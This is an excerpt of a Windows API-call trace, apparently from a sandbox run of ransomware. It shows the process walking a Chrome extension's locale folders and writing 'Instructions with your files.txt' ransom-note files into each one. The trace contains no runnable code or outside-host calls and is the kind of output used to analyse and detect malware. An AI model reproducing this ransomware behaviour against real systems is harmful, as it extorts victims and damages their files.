[0129.581] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 155
[0129.581] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.581] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.581] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\Instructions with your files.txt") returned 174
[0129.581] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.581] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.582] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.582] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.583] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.583] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.583] CloseHandle (hObject=0x134) returned 1
[0129.583] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.583] GetProcessHeap () returned 0x810000
[0129.583] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.583] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0129.583] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned 141
[0129.583] GetProcessHeap () returned 0x810000
[0129.583] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.583] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*") returned 143
[0129.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.584] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\.") returned 143
[0129.584] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.584] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\..") returned 144
[0129.584] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.584] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 155
[0129.584] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.584] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.584] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\Instructions with your files.txt") returned 174
[0129.584] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.585] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.586] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.586] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.586] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.586] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.586] CloseHandle (hObject=0x134) returned 1
[0129.586] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.586] GetProcessHeap () returned 0x810000
[0129.586] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.586] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0129.586] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned 144
[0129.586] GetProcessHeap () returned 0x810000
[0129.586] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.586] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*") returned 146
[0129.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.588] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\.") returned 146
[0129.588] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.588] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\..") returned 147
[0129.588] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.588] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 158
[0129.588] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.588] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.588] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 177
[0129.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.588] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.589] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.589] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.589] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.589] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.589] CloseHandle (hObject=0x134) returned 1
[0129.590] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.590] GetProcessHeap () returned 0x810000
[0129.590] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.590] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0129.590] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned 144
[0129.590] GetProcessHeap () returned 0x810000
[0129.590] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.590] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*") returned 146
[0129.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.591] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\.") returned 146
[0129.591] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.591] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\..") returned 147
[0129.591] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.591] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 158
[0129.591] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.591] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.591] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 177
[0129.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.591] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.592] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.592] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.592] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.592] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.593] CloseHandle (hObject=0x134) returned 1
[0129.593] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.593] GetProcessHeap () returned 0x810000
[0129.593] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.593] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0129.593] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\Instructions with your files.txt") returned 171
